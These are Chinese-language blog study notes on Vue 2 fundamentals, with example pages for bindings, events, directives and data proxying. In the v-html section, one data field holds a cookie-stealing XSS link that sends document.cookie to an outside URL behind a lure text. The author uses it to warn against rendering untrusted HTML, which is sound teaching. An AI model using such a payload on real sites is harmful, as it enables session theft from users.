Vue核心知识(一)
前言
本博客是对以下视频教程做的一个笔记总结,这个笔记和视频不是一一对应的,但可作为参考,不喜勿喷。
1、Vue简介
1.1 官网
1.2 介绍与描述
- 动态构建用户界面的渐进式 JavaScript 框架
- 作者: 尤雨溪
1.3 Vue 的特点
- 遵循 MVVM 模式
- 编码简洁, 体积小, 运行效率高, 适合移动/PC 端开发
- 它本身只关注 UI, 也可以引入其它第三方库开发项目
1.4 与其它 JS 框架的关联
- 借鉴 Angular 的模板和数据绑定技术
- 借鉴 React 的组件化和虚拟 DOM 技术
1.5 Vue 周边库
- vue-cli: vue 脚手架
- vue-resource
- axios: 基于 Promise 的 HTTP(网络请求) 库(JS库)
- vue-router: 路由
- vuex: 状态管理
- element-ui: 基于 vue 的UI框架
- …
2、初识Vue
2.1 HelloWorld代码
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>初识Vue</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo">
<h1>Hello,{{name.toUpperCase()+',欢迎学习Vue!'}}</h1>
</div>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
//创建Vue实例
new Vue({ /*配置对象*/
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
name: 'vue'
}
})
</script>
</body>
</html>
2.2 el与data的两种写法
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>el与data的两种写法</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 root-->
<div id="root">
<h1>你好,{{name}}</h1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
//el的两种写法
/* const v = new Vue({
//el:'#root', //第一种写法
data:{
name:'Vue'
}
})
console.log(v)
v.$mount('#root') //第二种写法 */
//data的两种写法
new Vue({
el: '#root',
//data的第一种写法:对象式
/* data:{
name:'Vue'
} */
//data的第二种写法:函数式
data() {
console.log('@@@', this); //此处的this是Vue实例对象
return {
name: 'Vue'
}
}
})
</script>
</html>
注意:methods无论什么情况下,都是和data是同级的!
2.3 总结
1、HelloWorld案例总结
-
想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
-
root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
-
root容器里的代码(html)被称为【Vue模板】;
-
Vue实例和容器是一一对应的;
-
真实开发中只有一个Vue实例,并且会配合着组件一起使用;
-
{{xxx}}中的xxx要写js表达式,且xxx是可以自动读取到data中的所有属性;
-
el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串;
-
data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
-
一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
-
注意区分:js表达式 和 js代码(语句)
-
表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
a a+b demo(1) x === y ? 'a' : 'b'
-
js代码(语句)
if(){} for(){}
2、el和data的两种写法总结
-
1、el的2种写法
-
new Vue时候配置el属性。
-
先创建
Vue实例
,随后再通过vm.$mount('#root')
指定el的值。
-
-
2、data的2种写法
- 对象式
- 函数式
- 如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
-
3、一个重要的原则:
- 由Vue管理的函数,一定不要写成箭头函数,
- 一旦写了箭头函数,
this
就不再是Vue实例
了,因为箭头函数没有this
,会向上找,最终找到window
。
3、模板语法
在学习模板语法之前,我们首先要知道什么是模板。
所谓的
模板
,可以理解成一段包含Vue
特殊语法的一段html
代码。在模板中可以使用Vue实例中的数据。
html 中包含了一些 JS 语法代码,语法分为两种,分别为:
- 插值语法(双大括号表达式)
- 指令(以 v-开头)
3.1 差值语法
-
功能:用于解析标签体内容
-
语法:
{{xxx}}
,xxxx
3.2 指令语法
- 功能: 解析标签属性、解析标签体内容、绑定事件
- 举例:
v-bind:href = 'xxxx'
,xxxx
会作为js
表达式被解析 - 说明:
Vue
中有有很多的指令,此处只是用v-bind
举个例子
4、MVVM模型
4.1 MVVM模型理解
如图:
M:模型(Model) :对应
data
中的数据。V:视图(View) :模板,即:包含特殊
Vue语法
的html
代码。VM:视图模型(ViewModel) ,
Vue 实例对象,即:new Vue({...})
,用于维护视图和模型之间的关系。
示例代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>理解MVVM</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h1>学校名称:{{name}}</h1>
<h1>学校地址:{{address}}</h1>
<!-- <h1>测试一下1:{{1+1}}</h1>
<h1>测试一下2:{{$options}}</h1>
<h1>测试一下3:{{$emit}}</h1>
<h1>测试一下4:{{_c}}</h1> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
name: '华南理工大学',
address: '广州',
}
});
console.log(vm);
</script>
</html>
通过控制台输出Vue实例,观察发现:
data
中所有的属性,最后都出现在了vm
(Vue实例)身上。vm
(Vue实例)身上所有的属性 及Vue原型
上所有属性,在Vue模板
中都可以直接使用。
4.2 Vue和数据代理
数据代理:通过一个对象代理,对另一个对象中属性的操作(读/写),
类似于Java中的代理模式,也叫数据劫持
。
4.2.1 Object.defineproperty方法
代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>回顾Object.defineproperty方法</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<script type="text/javascript">
let number = 18;
let person = {
name: '张三',
sex: '男'
};
/*1:要向哪个对象里添加属性,
2:属性名称,
3:提供读取属性值和修改属性值的方法,参数是一个配置对象*/
Object.defineProperty(person, 'age', {
// value: 18, //像‘person’对象中添加‘age’属性,值为 18
// enumerable: true, //控制属性是否可以枚举(遍历),默认值是false
// writable: true, //控制属性是否可以被修改,默认值是false
// configurable: true, //控制属性是否可以被删除,默认值是false (delete person.age)
/*当有人读取‘age’属性值时,getter方法会被调用*/
get() {
console.log("有人读取‘age’属性值");
return number;
},
/*当有人修改‘age’属性值时,setter方法会被调用,参数为新的值*/
set(newValue) {
console.log("有人修改‘age’属性值");
number = newValue;
}
});
// console.log(Object.keys(person)); //枚举(遍历)person对象的属性名称
console.log(person);
</script>
</body>
</html>
总结
- Object.defineproperty方法,用于向对象中添加一个属性,
- 可以为属性添加一系列的配置,如:
- 指定属性值(Value),是否可遍历(enumerable),是否可修改(writable),是否可删除属性(configurable)
- defineproperty方法参数:
- 第一:要向哪个对象里添加属性,
- 第二:属性名称,
- 第三:提供读取属性值和修改属性值的方法,参数是一个配置对象,可指定多个属性配置。
4.2.2 何为数据代理
数据代理:通过一个对象代理,对另一个对象中属性的操作(读/写)。
也叫数据劫持。
代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>何为数据代理</title>
</head>
<body>
<!-- 数据代理:通过一个对象代理,对另一个对象中属性的操作(读/写)-->
<script type="text/javascript">
let obj1 = {x: 100};
let obj2 = {y: 200};
/*向obj2对象中,添加x属性,当读取obj2对象中的x属性时,返回的是obj1的x属性值*/
Object.defineProperty(obj2, 'x', {
get() {
return obj1.x;
},
set(newValue) {
obj1.x = newValue;
}
})
</script>
</body>
</html>
4.2.3 Vue中的数据代理
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>Vue中的数据代理</title>
<!-- 引入Vue -->
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
name: '华南理工大学',
address: '广州五山'
}
})
</script>
</html>
如图:
总结
-
Vue中的数据代理:
- 通过Object.defineProperty()把data对象中所有属性添加到vm上;
- 再通过vm对象来代理data对象中属性的操作(读/写)。
-
Vue中数据代理的好处:
- 更加方便的操作data中的数据。
-
基本原理:
-
通过Object.defineProperty()把data对象中所有属性添加到vm上。
-
为每一个添加到vm上的属性,都指定一个getter/setter。
-
在getter/setter内部去操作(读/写)data中对应的属性。
-
参考:
5、指令语法详解
5.1 数据和样式绑定
5.1.1 数据绑定
代码如下:
<!DOCTYPE html>
<html lang="en" xmlns:v-bind="http://www.w3.org/1999/xhtml" xmlns:v-model="http://www.w3.org/1999/xhtml">
<head>
<meta charset="UTF-8">
<title>数据绑定</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="root">
<!--普通写法:-->
<!--v-bind: <input type="text" v-bind:value="name"> <br>-->
<!--v-model: <input type="text" v-model:value="name"> <br>-->
<!--简写-->
v-bind: <input type="text" :value="name"> <br>
v-model: <input type="text" v-model="name"> <br>
<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
<!-- <h2 v-model:x="name">你好啊</h2> -->
<h3>{{name}}</h3>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
name: "汪汪~"
}
});
</script>
</body>
</html>
总结
Vue中有两种数据绑定的方式:
- 单向绑定(v-bind):数据只能从
data
流向页面
(单向)。 - 双向绑定(v-model):数据不仅能从
data流向页面
,还可以从页面流向data
(双向)。 双向绑定
一般都应用在表单类元素
上(如:input
、select
等)。v-model:value
可以简写为v-model
,因为v-model
默认收集的就是value
值。
5.1.2 样式绑定
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>绑定样式</title>
<style>
.basic {
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy {
border: 4px solid red;;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg, yellow, pink, orange, yellow);
}
.sad {
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal {
background-color: skyblue;
}
.c1 {
background-color: yellowgreen;
}
.c2 {
font-size: 30px;
text-shadow: 2px 2px 10px red;
}
.c3 {
border-radius: 20px;
}
</style>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<!--@click="xxx" 为元素绑定点击事件,当点击的时候执行changeMood方法-->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<br><br>
<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classList">{{name}}</div>
<br><br>
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div>
<br><br>
<!-- 绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div>
<br><br>
<!-- 绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
<br><br>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
/*函数式,必须返回东西*/
data() {
return {
name: '广州塔很漂亮',
mood: "normal",
/*多个样式*/
classList: ['c1', 'c2', 'c3'],
/*样式对象*/
classObj: {
'c1': false,
'c2': true,
'c3': true,
},
/*style样式对象*/
styleObj: {
fontSize: 20 + 'px',
backgroundColor: 'orange'
},
/*style样式对象数组*/
styleArr: [
{
fontSize: '40px',
color: 'blue',
},
{
backgroundColor: 'green',
}
]
};
},
methods: {
/*改变样式*/
changeMood() {
const arr = ['happy', 'sad', 'normal'];
/*下标随机*/
const index = Math.floor(Math.random() * 3);
/*取下标对应的样式*/
this.mood = arr[index];
}
}
});
/*将Vue实例挂载带id为root的容器上*/
vm.$mount("#root");
</script>
</html>
总结
所有的
:xxx
都是v-bind:xxx
的缩写形式。
1、class样式
- 写法
:class="xxx"
, xxx可以是字符串、对象、数组。 - 字符串写法适用于:类名不确定,要动态获取。
- 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
- 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
2、style样式
:style="{fontSize: xxx}"
,其中xxx是动态值,样式名称为小驼峰
。:style="[a,b]"
其中a、b是样式对象。
5.2 事件处理
5.2.1 事件的基本使用
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>事件的基本使用</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!--普通写法-->
<!--<button v-on:click="getInfo1">点我提示信息</button>-->
<!--简写-->
<button @click="getInfo1">不传参</button>
<button @click="getInfo2($event,666)">传参</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
/*函数式*/
data() {
return {
name: '华工',
}
},
methods: {
getInfo1(event) {
console.log(event);
alert('欢迎来到' + this.name + '!');
},
/*第一个参数固定为事件对象*/
getInfo2(event, param) {
/*event.target.innerText:获取标签中的文本内容*/
alert('欢迎' + param + '来到' + this.name + '!(' + event.target.innerText + ')');
}
}
});
/*将Vue实例挂载到root容器上*/
vm.$mount('#root');
</script>
</html>
总结
-
使用
v-on:xxx
或@xxx
绑定事件,其中xxx
是事件名
; -
事件的回调
需要配置在methods
对象中,最终会在vm
(Vue实例对象)上; -
methods
中配置的函数,不要用
箭头函数!否则this
就不是vm
了(箭头函数没有this
指向,会向外找,找到window
); -
methods
中配置的函数,都是被Vue
所管理的函数,this
的指向是vm
或组件实例对象
; -
@click="demo"
和@click="demo($event)"
最终效果一致,但后者可以传参;@click="demo"
是直接把一整个demo函数写在这,@click="demo($event)"
是函数调用。
5.2.2 事件修饰符
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>基本模板</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<style>
* {
margin-top: 20px;
}
.demo1 {
height: 50px;
background-color: skyblue;
}
.box1 {
padding: 5px;
background-color: skyblue;
}
.box2 {
padding: 5px;
background-color: orange;
}
.list {
width: 200px;
height: 200px;
background-color: peru;
overflow: auto;
}
li {
height: 100px;
}
</style>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h3>{{name}}</h3>
<!--阻止默认事件 prevent(常用)-->
<a href="https://www.baidu.com" @click.prevent="showInfo($event,'阻止默认事件')">阻止默认事件</a>
<br><br>
<!--stop:阻止事件冒泡(常用)-->
<div class="demo1">
<button @click.stop="showInfo($event,'阻止事件冒泡')">阻止事件冒泡</button>
</div>
<br><br>
<!--连写的事件修饰符-->
<a href="https://www.baidu.com" @click.prevent.stop="showInfo2('连写的事件修饰符')">连写的事件修饰符</a>
<br><br>
<!--once:事件只触发一次(常用)-->
<button @click.once="showInfo2('事件只触发一次')">事件只触发一次</button>
<br><br>
<!--capture:使用事件的捕获模式-->
<div class="box1" @click.capture="showInfo2(1)">
div1
<div class="box2" @click="showInfo2(2)">
div2
</div>
</div>
<br><br>
<!--self:只有event.target是当前操作的元素时才触发事件-->
<div class="demo1" @click.self="showInfo($event,'self')">
<button @click="showInfo($event,'self')">点我提示信息</button>
</div>
<br><br>
<!--passive:事件的默认行为立即执行,无需等待事件回调执行完毕-->
<ul @wheel.passive="printText" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
data() {
return {
name: '老王',
};
},
methods: {
/*提示信息*/
showInfo(event, text) {
// alert(event.target.innerText);
console.log(event.target);
alert(text);
},
showInfo2(text) {
alert(text);
},
printText() {
for (let i = 0; i < 100000; i++) {
console.log('老王牛皮');
}
console.log('完毕!')
}
}
});
vm.$mount('#root');
</script>
</html>
总结
事件修饰符:
- prevent:阻止默认事件(常用);
- stop:阻止事件冒泡(常用);
- once:事件只触发一次(常用);
- capture:使用事件的捕获模式;
- self:只有event.target是当前操作的元素时才触发事件;
- passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
- 事件修饰符可以连写,如:
@click.prevent.stop="showInfo2"
。
5.2.3 键盘事件
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>键盘事件</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h3>{{name}}</h3>
<!--<input type="text" placeholder="按tab输入" @keydown.tab="showInfo">-->
<!--<input type="text" placeholder="按回车输入" @keydown.huiche="showInfo">-->
<!--<input type="text" placeholder="按ctrl+回车输入" @keydown.ctrl.enter="showInfo">-->
<input type="text" placeholder="按回车输入" @keydown.enter="showInfo">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止Vue在启动时生成生产提示
Vue.config.keyCodes.huiche = 13; //定义了一个别名按键
const vm = new Vue({
el: "#root",
data: {
name: '老王'
},
methods: {
/*显示信息*/
showInfo(e) {
console.log(e.key, e.keyCode);
console.log(e.target.value);
}
}
});
</script>
</html>
总结
参考博客:Vue如何监听键盘事件中的按键
-
1、
Vue
中常用的按键别名:- 回车 =>
enter
- 删除 =>
delete
(捕获“删除”和“退格”键) - 退出 =>
esc
- 空格 =>
space
- 换行 =>
tab
(特殊,必须配合keydown
去使用) - 上 =>
up
- 下 =>
down
- 左 =>
left
- 右 =>
right
- 回车 =>
-
2、
Vue
未提供别名的按键,可以使用按键原始的key值
去绑定,但注意要转为kebab-case
(短横线命名)。 -
3、系统修饰键(用法特殊):
ctrl
、alt
、shift
、meta
。- 配合
keyup
使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。 - 配合
keydown
使用:正常触发事件。
- 配合
-
4、也可以使用
keyCode
去指定具体的按键(不推荐)。 -
5、
Vue.config.keyCodes.自定义键名 = 键码
,可以去定制按键别名。
5.3 内容绑定
5.3.1 v-text
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>v-text指令</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
name: '老王',
str: '<h3>你好啊!</h3>'
}
})
</script>
</html>
总结
v-text指令:
- 作用:向其所在的节点中渲染文本内容。
- 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
5.3.2 v-html
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>v-html指令</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
name: '老王',
str: '<h3>你好啊!</h3>',
/*document.cookie: 拿到用户浏览器的cookie信息,有安全性问题*/
str2: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
总结
v-html指令:
-
1、作用:向指定节点中渲染包含html结构的内容。
-
2、与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会。
- v-html可以识别html结构。
-
3、严重注意:v-html有安全性问题!!!!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
- 一定要在
可信的内容上
使用v-html,永远不要用在用户提交的内容上!
5.4 条件渲染
5.4.1 指令
- v-if
- v-else-if
- v-else
- v-show
5.4.2 示例代码
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>条件渲染</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- 使用v-show做条件渲染 -->
<!-- <h2 v-show="false">{{name}}</h2> -->
<!-- <h2 v-show="1 === 1">{{name}}</h2> -->
<!-- 使用v-if做条件渲染 -->
<!-- <h2 v-if="false">{{name}}</h2> -->
<!-- <h2 v-if="1 === 1">{{name}}</h2> -->
<!-- v-else和v-else-if -->
<!-- <div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>嗯嗯</div> -->
<!-- v-if与template的配合使用,template管理一组东西,
template标签不会显示在页面上,不影响页面结构 -->
<template v-if="n === 1">
<h2>你好</h2>
<h2>哈哈</h2>
<h2>嘻嘻</h2>
</template>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
name:'老王666',
n:0
}
})
</script>
</html>
5.4.3 总结
条件渲染
1、v-if
-
写法
v-if
=“表达式”v-else-if
=“表达式”v-else
=“表达式”
-
其他
- 适用场景:切换频率较低的场景,不需要频繁地显示和隐藏元素。
- 特点:不展示的
DOM
元素直接被移除,直接操作DOM树
,效率低。 - 注意:
v-if
可以和v-else-if
、v-else
一起使用,但要求结构不能被“打断”。
2、v-show
-
写法
v-show
=“表达式”
-
其他
- 适用场景:切换频率较高的场景,即:需要频繁地显示和隐藏元素。
- 特点:不展示的
DOM
元素未被移除,仅仅是使用样式隐藏掉,操作的是元素的display
属性,display
设置为none
。
3、备注:
- 使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
v-if
和v-show
不能同时使用,v-if
和display
属性不能同时使用,否则v-if
可能不起效果。
5.5 列表遍历
5.5.1 指令
- v-for
- 通常用于遍历列表。
5.5.2 示例代码
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>列表遍历</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="(p,index) in persons" :key="index">
{{p.name}}==={{p.age}}
</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) of car" :key="k">
{{value}}==={{k}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) in str" :key="index">
{{index}}==={{char}}
</li>
</ul>
<!-- 遍历指定次数 -->
<h2>测试遍历指定次数(用得少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">
{{index}}==={{number}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
/*函数式*/
data() {
return {
persons: [
{id: '001', name: '张三', age: 18},
{id: '002', name: '李四', age: 19},
{id: '003', name: '王五', age: 20}
],
car: {
name: '奥迪A8',
price: '70万',
color: '黑色'
},
str: 'hello'
};
}
});
/*挂载Vue*/
vm.$mount('#root');
</script>
</html>
5.5.3 总结
v-for指令
- 用于展示(遍历)列表数据
- 语法:
v-for="(item, index) in list" :key="yyy"
或v-for="item in list"
。item
:列表(list)中的每一项元素。index
:列表元素的索引。list
:要遍历的列表或数组等。:key
Vue在维护list
时,底层依赖的东西,可加快渲染速度(建议加上),key值必须保证唯一。in关键字
:可以换成of关键字
。
- 可遍历:数组、集合,对象、字符串(用的很少)、遍历指定次数(用的很少)。
5.6 其他指令
5.6.1 v-cloak
使用
css
配合v-cloak
可以解决网速慢时页面展示出{{xxx}}
的问题。
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>v-cloak指令</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<style>
/*在Vue没有全部加载完之前,页面上不显示被vue管理的元素*/
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div v-cloak>{{name}}</div>
</div>
</body>
<script type="text/javascript">
var vm = new Vue({
data() {
return {
name: '老王'
};
}
});
vm.$mount('#root');
</script>
</html>
总结
v-cloak
指令:没有值。- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉
v-cloak
属性。 - 使用
css
配合v-cloak
可以解决网速慢时页面展示出{{xxx}}
的问题。
5.6.2 v-once
v-once所在节点在初次动态渲染后,就视为静态内容了。
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>v-once</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div v-once>初始化的n值:{{n}}</div>
<div>{{n}}</div>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
n: 1
}
});
</script>
</html>
总结
v-once
指令:没有值。v-once
所在节点在初次动态渲染后,就视为静态内容了。- 以后数据的改变不会引起
v-once
所在结构的更新,可以用于优化性能。
5.6.3 v-pre
可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
通常用于静态内容。
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>v-pre指令</title>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-pre>小王帅呆了~</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
n: 1
}
})
</script>
</html>
总结
v-pre
指令- 跳过其所在节点的编译过程。
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
- 通常用于静态内容。
6、结语
这篇博客肝了两天多,由于内容很多,还有一些内容没有写完,后面接着写,干货多多。
博客如有说错的地方,欢迎批评指正。